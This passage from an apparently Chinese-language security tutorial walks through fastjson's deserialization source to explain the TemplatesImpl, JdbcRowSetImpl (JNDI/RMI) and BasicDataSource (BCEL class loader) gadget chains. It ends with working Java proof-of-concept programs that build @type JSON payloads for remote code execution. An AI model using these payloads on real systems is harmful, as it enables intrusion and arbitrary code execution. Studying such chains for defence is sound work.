                derializers.put(Class.forName("java.time.OffsetTime"), Jdk8DateCodec.instance);
                derializers.put(Class.forName("java.time.ZoneOffset"), Jdk8DateCodec.instance);
                derializers.put(Class.forName("java.time.ZoneRegion"), Jdk8DateCodec.instance);
                derializers.put(Class.forName("java.time.ZoneId"), Jdk8DateCodec.instance);
                derializers.put(Class.forName("java.time.Period"), Jdk8DateCodec.instance);
                derializers.put(Class.forName("java.time.Duration"), Jdk8DateCodec.instance);
                derializers.put(Class.forName("java.time.Instant"), Jdk8DateCodec.instance);

                    derializer = derializers.get(clazz);
                    } else if (className.startsWith("java.util.Optional")) {

                    derializers.put(Class.forName("java.util.Optional"), OptionalCodec.instance);
                    derializers.put(Class.forName("java.util.OptionalDouble"), OptionalCodec.instance);
                    derializers.put(Class.forName("java.util.OptionalInt"), OptionalCodec.instance);
                    derializers.put(Class.forName("java.util.OptionalLong"), OptionalCodec.instance);

                    derializer = derializers.get(clazz);
                    }
                    } catch (Throwable e) {
                    // skip
                    jdk8Error = true;
                    }
                    }

                    if (className.equals("java.nio.file.Path")) {
                    derializers.put(clazz, MiscCodec.instance);
                    }

                    if (clazz == Map.Entry.class) {
                    derializers.put(clazz, MiscCodec.instance);
                    }

                    final ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
                    try {
                    for (AutowiredObjectDeserializer autowired : ServiceLoader.load(AutowiredObjectDeserializer.class,
                    classLoader)) {
                    for (Type forType : autowired.getAutowiredFor()) {
                    derializers.put(forType, autowired);
                    }
                    }
                    } catch (Exception ex) {
                    // skip
                    }

                    if (derializer == null) {
                    derializer = derializers.get(type);
                    }

                    if (derializer != null) {
                    return derializer;
                    }

                    if (clazz.isEnum()) {
                    derializer = new EnumDeserializer(clazz);
                    } else if (clazz.isArray()) {
                    derializer = ObjectArrayCodec.instance;
                    } else if (clazz == Set.class || clazz == HashSet.class || clazz == Collection.class || clazz == List.class
                    || clazz == ArrayList.class) {
                    derializer = CollectionCodec.instance;
                    } else if (Collection.class.isAssignableFrom(clazz)) {
                    derializer = CollectionCodec.instance;
                    } else if (Map.class.isAssignableFrom(clazz)) {
                    derializer = MapDeserializer.instance;
                    } else if (Throwable.class.isAssignableFrom(clazz)) {
                    derializer = new ThrowableDeserializer(this, clazz);
                    } else {
                    derializer = createJavaBeanDeserializer(clazz, type);
                    }

                    putDeserializer(type, derializer);

                    return derializer;
                    }

所以我们这边跟进createJavaBeanDeserializer看看,我们截取部分的代码。主要是一个build
image.png
我们跟进build。build截取一部分代码。

public static JavaBeanInfo build(Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) {
    Field[] declaredFields = clazz.getDeclaredFields();//获取所有的字段
    Method[] methods = clazz.getMethods();//获取所有的方法
    
}

然后往下有三个很重要的for循环。
我们来看一下第一个for循环。获取所有的set方法。
我们来看一下他的要求。
1.方法名称长度大于4。2.不能为静态方法 3.返回值要么为void,或者为他自身的对象。 4.参数要唯一。 5.方法名要以set为开头。 6.方法的第四位字符要为大写。(或者一些特殊的例如_ f 等进行特殊的处理),然后全部转为小写。

for (Method method : methods) { //
    int ordinal = 0, serialzeFeatures = 0, parserFeatures = 0;
    String methodName = method.getName();
    if (methodName.length() < 4) {
        continue;
    }

    if (Modifier.isStatic(method.getModifiers())) {
        continue;
    }

    // support builder set
    if (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
        continue;
    }
    Class<?>[] types = method.getParameterTypes();
    if (types.length != 1) {
        continue;
    }

    JSONField annotation = method.getAnnotation(JSONField.class);

    if (annotation == null) {
        annotation = TypeUtils.getSuperMethodAnnotation(clazz, method);
    }

    if (annotation != null) {
        if (!annotation.deserialize()) {
            continue;
        }

        ordinal = annotation.ordinal();
        serialzeFeatures = SerializerFeature.of(annotation.serialzeFeatures());
        parserFeatures = Feature.of(annotation.parseFeatures());

        if (annotation.name().length() != 0) {
            String propertyName = annotation.name();
            add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, ordinal, serialzeFeatures, parserFeatures, 
                                         annotation, null, null));
            continue;
        }
    }

    if (!methodName.startsWith("set")) { // TODO "set"的判断放在 JSONField 注解后面,意思是允许非 setter 方法标记 JSONField 注解?
        continue;
    }

    char c3 = methodName.charAt(3);

    String propertyName;
    if (Character.isUpperCase(c3) //
        || c3 > 512 // for unicode method name
       ) {
        if (TypeUtils.compatibleWithJavaBean) {
            propertyName = TypeUtils.decapitalize(methodName.substring(3));
        } else {
            propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
        }
    } else if (c3 == '_') {
        propertyName = methodName.substring(4);
    } else if (c3 == 'f') {
        propertyName = methodName.substring(3);
    } else if (methodName.length() >= 5 && Character.isUpperCase(methodName.charAt(4))) {
        propertyName = TypeUtils.decapitalize(methodName.substring(3));
    } else {
        continue;
    }

    Field field = TypeUtils.getField(clazz, propertyName, declaredFields);
    if (field == null && types[0] == boolean.class) {
        String isFieldName = "is" + Character.toUpperCase(propertyName.charAt(0)) + propertyName.substring(1);
        field = TypeUtils.getField(clazz, isFieldName, declaredFields);
    }

    JSONField fieldAnnotation = null;
    if (field != null) {
        fieldAnnotation = field.getAnnotation(JSONField.class);

        if (fieldAnnotation != null) {
            if (!fieldAnnotation.deserialize()) {
                continue;
            }

            ordinal = fieldAnnotation.ordinal();
            serialzeFeatures = SerializerFeature.of(fieldAnnotation.serialzeFeatures());
            parserFeatures = Feature.of(fieldAnnotation.parseFeatures());

                if (fieldAnnotation.name().length() != 0) {
                propertyName = fieldAnnotation.name();
                add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal,
                serialzeFeatures, parserFeatures, annotation, fieldAnnotation, null));
                continue;
                }
                }

                }

                if (propertyNamingStrategy != null) {
                propertyName = propertyNamingStrategy.translate(propertyName);
                }

                add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures,
                annotation, fieldAnnotation, null));
                }

然后往下,会将我们的对象,方法字段等一系列的东西,放入到一个名为FieldInfo,然后将其存入fieldList.
主要是第三个for循环。因为这条链子,主要是用的getOutputProperties。
看他的条件
1.方法长度大于4
2.不能为静态方法
3.为get开头,且第四个字母要为大写。且不能有传入参数。
4.返回值为Collection map AtomicBoolean AtomicInteger AtomicLong等
只有满足这些条件,才能存入fieldList。最后return出来,存入

for (Method method : clazz.getMethods()) { // getter methods
    String methodName = method.getName();
    if (methodName.length() < 4) {
        continue;
    }

    if (Modifier.isStatic(method.getModifiers())) {
        continue;
    }

    if (methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))) {
        if (method.getParameterTypes().length != 0) {
            continue;
        }

        if (Collection.class.isAssignableFrom(method.getReturnType()) //
            || Map.class.isAssignableFrom(method.getReturnType()) //
            || AtomicBoolean.class == method.getReturnType() //
            || AtomicInteger.class == method.getReturnType() //
            || AtomicLong.class == method.getReturnType() //
           ) {
            String propertyName;

            JSONField annotation = method.getAnnotation(JSONField.class);
            if (annotation != null && annotation.deserialize()) {
                continue;
            }

            if (annotation != null && annotation.name().length() > 0) {
                propertyName = annotation.name();
            } else {
                propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
            }

            FieldInfo fieldInfo = getField(fieldList, propertyName);
            if (fieldInfo != null) {
                continue;
            }

            if (propertyNamingStrategy != null) {
                propertyName = propertyNamingStrategy.translate(propertyName);
            }

            add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, 0, 0, 0, annotation, null, null));
        }
    }
}
return new JavaBeanInfo(clazz, builderClass, defaultConstructor, null, null, buildMethod, jsonType, fieldList);

return出来之后回到ParserConfig往下走,就要创建一个反序列化器了。
根据asmEnable的值,来决定系统默认的反序列化器,还是用asmFactory创建一个反序列化器。我们通过getMap,修改了getOnly的值,导致了asmEnable为false,方便debug所以使用了系统默认的JavaBeanDeserializer。

if (!asmEnable) {
    return new JavaBeanDeserializer(this, clazz, type);
}

JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, type, propertyNamingStrategy);
try {
    return asmFactory.createJavaBeanDeserializer(this, beanInfo);
    // } catch (VerifyError e) {
    // e.printStackTrace();
    // return new JavaBeanDeserializer(this, clazz, type);
} catch (NoSuchMethodException ex) {
    return new JavaBeanDeserializer(this, clazz, type);
} catch (JSONException asmError) {
    return new JavaBeanDeserializer(this, beanInfo);
} catch (Exception e) {
    throw new JSONException("create asm deserializer error, " + clazz.getName(), e);
}

这里我们已经拿到反序列化器了。所以回到DefaultJSONParser中去调用JavaBeanDeserializer.deserialze.
image.png
我们这边就跟进deserializer.deserialze。
多次重载之后,就会进入到到一个几百行代码的deserialze

if (object == null && fieldValues == null) {
                    object = createInstance(parser, type);
                    if (object == null) {
                        fieldValues = new HashMap<String, Object>(this.fieldDeserializers.length);
                    }
                    childContext = parser.setContext(context, object, fieldName);
                }

这个for循环中进行遍历,然后将值交给match


for (int fieldIndex = 0;; fieldIndex++) {
    String key = null;
    FieldDeserializer fieldDeser = null;
    FieldInfo fieldInfo = null;
    Class<?> fieldClass = null;
    JSONField feildAnnotation = null;
    if (fieldIndex < sortedFieldDeserializers.length) {
        fieldDeser = sortedFieldDeserializers[fieldIndex];
        fieldInfo = fieldDeser.fieldInfo;
        fieldClass = fieldInfo.fieldClass;
        feildAnnotation = fieldInfo.getAnnotation();
    }

    boolean matchField = false;
    boolean valueParsed = false;

    Object fieldValue = null;
    if (fieldDeser != null) {
        char[] name_chars = fieldInfo.name_chars;
        if (fieldClass == int.class || fieldClass == Integer.class) {
            fieldValue = lexer.scanFieldInt(name_chars);

            if (lexer.matchStat > 0) {
                matchField = true;
                valueParsed = true;
            } else if (lexer.matchStat == JSONLexer.NOT_MATCH_NAME) {
                continue;  
            }
        } else if (fieldClass == long.class || fieldClass == Long.class) {
            fieldValue = lexer.scanFieldLong(name_chars);

            if (lexer.matchStat > 0) {
                matchField = true;
                valueParsed = true;
            } else if (lexer.matchStat == JSONLexer.NOT_MATCH_NAME) {
                continue;  
            }
        } else if (fieldClass == String.class) {
            fieldValue = lexer.scanFieldString(name_chars);

            if (lexer.matchStat > 0) {
                matchField = true;
                valueParsed = true;
            } else if (lexer.matchStat == JSONLexer.NOT_MATCH_NAME) {
                continue;  
            }
        } else if (fieldClass == boolean.class || fieldClass == Boolean.class) {
            fieldValue = lexer.scanFieldBoolean(name_chars);

            if (lexer.matchStat > 0) {
                matchField = true;
                valueParsed = true;
            } else if (lexer.matchStat == JSONLexer.NOT_MATCH_NAME) {
                continue;  
            }
        } else if (fieldClass == float.class || fieldClass == Float.class) {
            fieldValue = lexer.scanFieldFloat(name_chars);

            if (lexer.matchStat > 0) {
                matchField = true;
                valueParsed = true;
            } else if (lexer.matchStat == JSONLexer.NOT_MATCH_NAME) {
                continue;  
            }
        } else if (fieldClass == double.class || fieldClass == Double.class) {
            fieldValue = lexer.scanFieldDouble(name_chars);

            if (lexer.matchStat > 0) {
                matchField = true;
                valueParsed = true;
            } else if (lexer.matchStat == JSONLexer.NOT_MATCH_NAME) {
                continue;  
            }
        } else if (fieldClass.isEnum() // 
                   && parser.getConfig().getDeserializer(fieldClass) instanceof EnumDeserializer
                   && (feildAnnotation == null || feildAnnotation.deserializeUsing() == Void.class)
                       ) {
                       if (fieldDeser instanceof DefaultFieldDeserializer) {
                       ObjectDeserializer fieldValueDeserilizer = ((DefaultFieldDeserializer) fieldDeser).fieldValueDeserilizer;
                       fieldValue = this.scanEnum(lexer, name_chars, fieldValueDeserilizer);

                       if (lexer.matchStat > 0) {
                       matchField = true;
                       valueParsed = true;
                       } else if (lexer.matchStat == JSONLexer.NOT_MATCH_NAME) {
                       continue;
                       }
                       }
                       } else if (fieldClass == int[].class) {
                       fieldValue = lexer.scanFieldIntArray(name_chars);

                       if (lexer.matchStat > 0) {
                       matchField = true;
                       valueParsed = true;
                       } else if (lexer.matchStat == JSONLexer.NOT_MATCH_NAME) {
                       continue;
                       }
                       } else if (fieldClass == float[].class) {
                       fieldValue = lexer.scanFieldFloatArray(name_chars);

                       if (lexer.matchStat > 0) {
                       matchField = true;
                       valueParsed = true;
                       } else if (lexer.matchStat == JSONLexer.NOT_MATCH_NAME) {
                       continue;
                       }
                       } else if (fieldClass == float[][].class) {
                       fieldValue = lexer.scanFieldFloatArray2(name_chars);

                       if (lexer.matchStat > 0) {
                       matchField = true;
                       valueParsed = true;
                       } else if (lexer.matchStat == JSONLexer.NOT_MATCH_NAME) {
                       continue;
                       }
                       } else if (lexer.matchField(name_chars)) {
                       matchField = true;
                       } else {
                       continue;
                       }
                       }

                       if (!matchField) {
                       key = lexer.scanSymbol(parser.symbolTable);

                       if (key == null) {
                       token = lexer.token();
                       if (token == JSONToken.RBRACE) {
                       lexer.nextToken(JSONToken.COMMA);
                       break;
                       }
                       if (token == JSONToken.COMMA) {
                       if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
                       continue;
                       }
                       }
                       }

                       if ("$ref" == key) {
                       lexer.nextTokenWithColon(JSONToken.LITERAL_STRING);
                       token = lexer.token();
                       if (token == JSONToken.LITERAL_STRING) {
                       String ref = lexer.stringVal();
                       if ("@".equals(ref)) {
                       object = context.object;
                       } else if ("..".equals(ref)) {
                       ParseContext parentContext = context.parent;
                       if (parentContext.object != null) {
                       object = parentContext.object;
                       } else {
                       parser.addResolveTask(new ResolveTask(parentContext, ref));
                       parser.resolveStatus = DefaultJSONParser.NeedToResolve;
                       }
                       } else if ("$".equals(ref)) {
                       ParseContext rootContext = context;
                       while (rootContext.parent != null) {
                       rootContext = rootContext.parent;
                       }

                       if (rootContext.object != null) {
                       object = rootContext.object;
                       } else {
                       parser.addResolveTask(new ResolveTask(rootContext, ref));
                       parser.resolveStatus = DefaultJSONParser.NeedToResolve;
                       }
                       } else {
                       parser.addResolveTask(new ResolveTask(context, ref));
                       parser.resolveStatus = DefaultJSONParser.NeedToResolve;
                       }
                       } else {
                       throw new JSONException("illegal ref, " + JSONToken.name(token));
                       }

                       lexer.nextToken(JSONToken.RBRACE);
                       if (lexer.token() != JSONToken.RBRACE) {
                       throw new JSONException("illegal ref");
                       }
                       lexer.nextToken(JSONToken.COMMA);

                       parser.setContext(context, object, fieldName);

                       return (T) object;
                       }

                       if (JSON.DEFAULT_TYPE_KEY == key) {
                       lexer.nextTokenWithColon(JSONToken.LITERAL_STRING);
                       if (lexer.token() == JSONToken.LITERAL_STRING) {
                       String typeName = lexer.stringVal();
                       lexer.nextToken(JSONToken.COMMA);

                       if (typeName.equals(beanInfo.typeName)) {
                       if (lexer.token() == JSONToken.RBRACE) {
                       lexer.nextToken();
                       break;
                       }
                       continue;
                       }

                       ParserConfig config = parser.getConfig();
                       ObjectDeserializer deserizer = getSeeAlso(config, this.beanInfo, typeName);
                       Class<?> userType = null;
                       if (deserizer == null) {
                       userType = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());

                       Class<?> expectClass = TypeUtils.getClass(type);
                       if (expectClass == null || 
                       (userType != null && expectClass.isAssignableFrom(userType))) {
                       deserizer = parser.getConfig().getDeserializer(userType);                                        
                       } else {
                       throw new JSONException("type not match");
                       }
                       }

                       return (T) deserizer.deserialze(parser, userType, fieldName);
                       } else {
                       throw new JSONException("syntax error");
                       }
                       }
                       }

                       if (object == null && fieldValues == null) {
                       object = createInstance(parser, type);
                       if (object == null) {
                       fieldValues = new HashMap<String, Object>(this.fieldDeserializers.length);
                       }
                       childContext = parser.setContext(context, object, fieldName);
                       }

                       if (matchField) {
                       if (!valueParsed) {
                       fieldDeser.parseField(parser, object, type, fieldValues);
                       } else {
                       if (object == null) {
                       fieldValues.put(fieldInfo.name, fieldValue);
                       } else if (fieldValue == null) {
                       if (fieldClass != int.class //
                       && fieldClass != long.class //
                       && fieldClass != float.class //
                       && fieldClass != double.class //
                       && fieldClass != boolean.class //
                       ) {
                       fieldDeser.setValue(object, fieldValue);
                       }
                       } else {
                       fieldDeser.setValue(object, fieldValue);
                       }
                       if (lexer.matchStat == JSONLexer.END) {
                       break;
                       }
                       }
                       } else {
                       boolean match = parseField(parser, key, object, type, fieldValues);
                       if (!match) {
                       if (lexer.token() == JSONToken.RBRACE) {
                       lexer.nextToken();
                       break;
                       }

                       continue;
                       } else if (lexer.token() == JSONToken.COLON) {
                       throw new JSONException("syntax error, unexpect token ':'");
                       }
                       }

                       if (lexer.token() == JSONToken.COMMA) {
                       continue;
                       }

                       if (lexer.token() == JSONToken.RBRACE) {
                       lexer.nextToken(JSONToken.COMMA);
                       break;
                       }

                       if (lexer.token() == JSONToken.IDENTIFIER || lexer.token() == JSONToken.ERROR) {
                       throw new JSONException("syntax error, unexpect token " + JSONToken.name(lexer.token()));
                       }
                       }

boolean match = parseField(parser, key, object, type, fieldValues);
跟进parseField.
在这个parseField,最后会调用fieldDeserializer.parseField。

public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,
                          Map<String, Object> fieldValues) {
    JSONLexer lexer = parser.lexer; // xxx

    FieldDeserializer fieldDeserializer = smartMatch(key);

    final int mask = Feature.SupportNonPublicField.mask;
    if (fieldDeserializer == null
        && (parser.lexer.isEnabled(mask)
            || (this.beanInfo.parserFeatures & mask) != 0)) {
        if (this.extraFieldDeserializers == null) {
            ConcurrentHashMap extraFieldDeserializers = new ConcurrentHashMap<String, Object>(1, 0.75f, 1);
            Field[] fields = this.clazz.getDeclaredFields();
            for (Field field : fields) {
                String fieldName = field.getName();
                if (this.getFieldDeserializer(fieldName) != null) {
                    continue;
                }
                int fieldModifiers = field.getModifiers();
                if ((fieldModifiers & Modifier.FINAL) != 0 || (fieldModifiers & Modifier.STATIC) != 0) {
                    continue;
                }
                extraFieldDeserializers.put(fieldName, field);
            }
            this.extraFieldDeserializers = extraFieldDeserializers;
        }

        Object deserOrField = extraFieldDeserializers.get(key);
        if (deserOrField != null) {
            if (deserOrField instanceof FieldDeserializer) {
                fieldDeserializer = ((FieldDeserializer) deserOrField);
            } else {
                Field field = (Field) deserOrField;
                field.setAccessible(true);
                FieldInfo fieldInfo = new FieldInfo(key, field.getDeclaringClass(), field.getType(), field.getGenericType(), field, 0, 0, 0);
                fieldDeserializer = new DefaultFieldDeserializer(parser.getConfig(), clazz, fieldInfo);
                extraFieldDeserializers.put(key, fieldDeserializer);
            }
        }
    }

    if (fieldDeserializer == null) {
        if (!lexer.isEnabled(Feature.IgnoreNotMatch)) {
            throw new JSONException("setter not found, class " + clazz.getName() + ", property " + key);
        }

        parser.parseExtra(object, key);

        return false;
    }

    lexer.nextTokenWithColon(fieldDeserializer.getFastMatchToken());

    fieldDeserializer.parseField(parser, object, objectType, fieldValues);

    return true;
}

继续往里跟进,会调用到DefaultFieldDeserializer.parseField

public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) {
    if (fieldValueDeserilizer == null) {
        getFieldValueDeserilizer(parser.getConfig());
    }

    Type fieldType = fieldInfo.fieldType;
    if (objectType instanceof ParameterizedType) {
        ParseContext objContext = parser.getContext();
        if (objContext != null) {
            objContext.type = objectType;
        }
        fieldType = FieldInfo.getFieldType(this.clazz, objectType, fieldType);
        fieldValueDeserilizer = parser.getConfig().getDeserializer(fieldType);
    }

    // ContextObjectDeserializer
    Object value;
    if (fieldValueDeserilizer instanceof JavaBeanDeserializer) {
        JavaBeanDeserializer javaBeanDeser = (JavaBeanDeserializer) fieldValueDeserilizer;
        value = javaBeanDeser.deserialze(parser, fieldType, fieldInfo.name, fieldInfo.parserFeatures);
    } else {
        if (this.fieldInfo.format != null && fieldValueDeserilizer instanceof ContextObjectDeserializer) {
            value = ((ContextObjectDeserializer) fieldValueDeserilizer) //
                .deserialze(parser, fieldType,
                            fieldInfo.name,
                            fieldInfo.format,
                            fieldInfo.parserFeatures);
        } else {
            value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name);
        }
    }
    if (parser.getResolveStatus() == DefaultJSONParser.NeedToResolve) {
        ResolveTask task = parser.getLastResolveTask();
        task.fieldDeserializer = this;
        task.ownerContext = parser.getContext();
        parser.setResolveStatus(DefaultJSONParser.NONE);
    } else {
        if (object == null) {
            fieldValues.put(fieldInfo.name, value);
        } else {
            setValue(object, value);
        }
    }
}

最后调用到setValue。跟进,里面执行method.invoke.执行了getOutputProperties
image.png
最后完成RCE。

4.JdbcRowSetimpl链

这条链子,主要靠JNDI远程注入,这条链子需要出网,通过JNDI实现远程类加载。相比于TemplatesImpl,实用性更强。只需要控制输入,通过传入JSON字符串。并不需要去修改fetures.
RMI和LADP对JDK的版本有需求,高版本的jdk对JNDI和rmi限制。
RMI利用的JDK版本小于等于 6U132、7u122、8u113.
LADP 利用JDK版本小于等于6u211、7u201、8u191
image.png
老规矩,用yakit生成一个RMI远程连接,然后设置json字符串用于远程JNDI注入。
最后的执行点在connect()中有一个lookup可以被注入。我们只需要关注getDataSourceName中的dataSource.是否可控。
参数为private String dataSource;所以可控。

private Connection connect() throws SQLException {

    // Get a JDBC connection.

    // First check for Connection handle object as such if
    // "this" initialized  using conn.

    if(conn != null) {
        return conn;

    } else if (getDataSourceName() != null) {

        // Connect using JNDI.
        try {
            Context ctx = new InitialContext();
            DataSource ds = (DataSource)ctx.lookup
                (getDataSourceName());
            //return ds.getConnection(getUsername(),getPassword());

            if(getUsername() != null && !getUsername().equals("")) {
                 return ds.getConnection(getUsername(),getPassword());
            } else {
                 return ds.getConnection();
            }
        }
        catch (javax.naming.NamingException ex) {
            throw new SQLException(resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
        }

    } else if (getUrl() != null) {
        // Check only for getUrl() != null because
        // user, passwd can be null
        // Connect using the driver manager.

        return DriverManager.getConnection
                (getUrl(), getUsername(), getPassword());
    }
    else {
        return null;
    }

}

那么我们就可以往前找connect的利用点。
找到一个名为setAutoCommit的方法,将其设置为true.

public void setAutoCommit(boolean autoCommit) throws SQLException {
    // The connection object should be there
    // in order to commit the connection handle on or off.

    if(conn != null) {
        conn.setAutoCommit(autoCommit);
    } else {
        // Coming here means the connection object is null.
        // So generate a connection handle internally, since
        // a JdbcRowSet is always connected to a db, it is fine
        // to get a handle to the connection.

        // Get hold of a connection handle
        // and change the autcommit as passesd.
        conn = connect();

        // After setting the below the conn.getAutoCommit()
        // should return the same value.
        conn.setAutoCommit(autoCommit);

    }
}

那我们现在的思路就比较清晰了,我们可以控制JdbcRowSetImpl库中的dataSourcename,设置为JNDI注入点,然后将setAutoCommit设置为true,用于触发connect().
故最后的payload为

import com.alibaba.fastjson.JSONObject;

public class JNDIPayload {
    public static void main(String[] args) {
        final String jdbcrowsetimpl="com.sun.rowset.JdbcRowSetImpl";
        String payload1="{" +
            "\"@type\":\""+jdbcrowsetimpl+"\","+
            "\"dataSourceName\":"+
            "\"rmi://127.0.0.1:8085/PghHmXRC\","+
            "\"autoCommit\":true"+
            "}";
        System.out.println(payload1);
        JSONObject jsonObject=JSONObject.parseObject(payload1);
    }
}

5.BaiscDataSource链分析

相比于JdbcRowSetimpl链,他是一个不出网即可利用的链子。但是他需要一个tomcat-dhcp的依赖,这是一个Tomcat的数据库驱动组件。
这条利用链是BasicDataSource.getConnection()->createDataSource()->createConnectionFactory()
我们来看一下createConnectionFactory()中的调用。
他会根据是否定义类加载器。来执行不同的forname,当我们指定需要加载的类,和指定类加载器,也就是说只要driverClassName,driverClassLoader可控。我们知道forname会对类进行初始化,初始化的时候会执行static代码块内的代码。

protected ConnectionFactory createConnectionFactory() throws SQLException {
    // Load the JDBC driver class
    Class driverFromCCL = null;
if (driverClassName != null) {
    try {
        try {
            if (driverClassLoader == null) {
                Class.forName(driverClassName);
            } else {
                Class.forName(driverClassName, true, driverClassLoader);
            }
        } catch (ClassNotFoundException cnfe) {
            driverFromCCL = Thread.currentThread(
            ).getContextClassLoader().loadClass(
                driverClassName);
        }
    } catch (Throwable t) {
        String message = "Cannot load JDBC driver class '" +
            driverClassName + "'";
        logWriter.println(message);
        t.printStackTrace(logWriter);
        throw new SQLNestedException(message, t);
    }
}

// Create a JDBC driver instance
Driver driver = null;
try {
    if (driverFromCCL == null) {
        driver = DriverManager.getDriver(url);
    } else {
        // Usage of DriverManager is not possible, as it does not
        // respect the ContextClassLoader
        driver = (Driver) driverFromCCL.newInstance();
        if (!driver.acceptsURL(url)) {
            throw new SQLException("No suitable driver", "08001"); 
        }
    }
} catch (Throwable t) {
    String message = "Cannot create JDBC driver of class '" +
        (driverClassName != null ? driverClassName : "") +
        "' for connect URL '" + url + "'";
    logWriter.println(message);
    t.printStackTrace(logWriter);
    throw new SQLNestedException(message, t);
}

// Can't test without a validationQuery
if (validationQuery == null) {
    setTestOnBorrow(false);
    setTestOnReturn(false);
    setTestWhileIdle(false);
}

// Set up the driver connection factory we will use
String user = username;
if (user != null) {
    connectionProperties.put("user", user);
} else {
    log("DBCP DataSource configured without a 'username'");
}

String pwd = password;
if (pwd != null) {
    connectionProperties.put("password", pwd);
} else {
    log("DBCP DataSource configured without a 'password'");
}

ConnectionFactory driverConnectionFactory = new DriverConnectionFactory(driver, url, connectionProperties);
return driverConnectionFactory;
}

那现在假设driverClassName,driverClassLoader可控,我们可以指定classloader为BCEL的classloader(com.sun.org.apache.bcel.internal.util.ClassLoader)
主要看他的loadClass
我们发现,如果classname是"$$BCEL$$"开头,那么就会将此字符串后面的字符串按照BCEL编码进行解码,作为class的字节码,调用defineClass获取CLass对象。

protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
{
    Class cl = null;

    /* First try: lookup hash table.
*/
    if((cl=(Class)classes.get(class_name)) == null) {
        /* Second try: Load system class using system class loader. You better
* don't mess around with them.
*/
        for(int i=0; i < ignored_packages.length; i++) {
            if(class_name.startsWith(ignored_packages[i])) {
                cl = deferTo.loadClass(class_name);
                break;
            }
        }

        if(cl == null) {
            JavaClass clazz = null;

            /* Third try: Special request?
*/
            if(class_name.indexOf("$$BCEL$$") >= 0)
                clazz = createClass(class_name);
            else { // Fourth try: Load classes via repository
                if ((clazz = repository.loadClass(class_name)) != null) {
                    clazz = modifyClass(clazz);
                }
                else
                    throw new ClassNotFoundException(class_name);
            }

            if(clazz != null) {
                byte[] bytes  = clazz.getBytes();
                cl = defineClass(class_name, bytes, 0, bytes.length);
            } else // Fourth try: Use default class loader
                cl = Class.forName(class_name);
        }

        if(resolve)
            resolveClass(cl);
    }

    classes.put(class_name, cl);

    return cl;
}

那现在我们的思路就是,我们@Type去加载BasicDataSource类,然后driverClassLoader用@type 去加载bcel的classloader,然后driverClassName去指定被BCEL编码后的字节码文件。
那么现在问题就在于getConnection如何进行触发。
如果是通过传统的fastjson的getter的话,我们可以看一下他的返回值是不满足条件的。那么就要另辟蹊径。
fastjson会自动调用key的toString.

if (object.getClass() == JSONObject.class) {
    key = (key == null) ? "null" : key.toString();
}

那么他在调用toString的时候必然就会去getter方法进行取值。那么就会触发getConnection.
故我们可以开始编写payload.

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class BCELPayload {
    public static void main(String[] args) throws IOException {
        byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\21112\\Desktop\\fastjson\\fastjson1.2.4\\target\\classes\\evil.class"));
        String evilcode= "$$BCEL$$"+Utility.encode(code,true);
        //System.out.println(evilcode);
        final String jsonobject = "com.alibaba.fastjson.JSONObject";
        final String Basic = "org.apache.commons.dbcp.BasicDataSource";
        final String classloader="com.sun.org.apache.bcel.internal.util.ClassLoader";
        String payload = "{"+
            "{"+
            "\"@type\":\""+jsonobject+"\","+
            "\"x\":{"+
            "\"@type\":\""+Basic+"\","+
            "\"driverClassLoader\":{"+
            "\"@type\":\""+classloader+"\""+
            "},"+
            "\"driverClassName\":\""+evilcode+"\""+
            "}"+
            "}:"+ "\"x\""+"}";
        JSONObject jsonObject = JSON.parseObject(payload);

    }
}

以上payload在parse和parseObject中都可生效,当然,如果服务器用的是parseObject,由于parseObject最后会去调用JSON.toJSON,所以getter和setter方法都会生效,所以如果服务器端用的是parseObject那我们还可以继续简化payload,我们也可以省略将JSONObject作为key用于触发toString的步骤,直接调用BaiscDataSource。
故最后的终极payload

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class BCELPayload {
    public static void main(String[] args) throws IOException {
        byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\21112\\Desktop\\fastjson\\fastjson1.2.4\\target\\classes\\evil.class"));
        String evilcode= "$$BCEL$$"+Utility.encode(code,true);
        //System.out.println(evilcode);
        final String jsonobject = "com.alibaba.fastjson.JSONObject";
        final String Basic = "org.apache.commons.dbcp.BasicDataSource";
        final String classloader="com.sun.org.apache.bcel.internal.util.ClassLoader";
        String payload = "{"+
            "{"+
            "\"@type\":\""+jsonobject+"\","+
            "\"x\":{"+
            "\"@type\":\""+Basic+"\","+
            "\"driverClassLoader\":{"+
            "\"@type\":\""+classloader+"\""+
            "},"+
            "\"driverClassName\":\""+evilcode+"\""+
            "}"+
            "}:"+ "\"x\""+"}";
        String parsepobjectayload2="{"+
            "\"@type\":\""+Basic+"\","+
            "\"driverClassLoader\":{"+
            "\"@type\":\""+classloader+"\""+"},"+
            "\"driverClassName\":\""+evilcode+"\""+
            "}";
        JSONObject jsonObject = (JSONObject) JSON.parseObject(parsepobjectayload2);

    }
}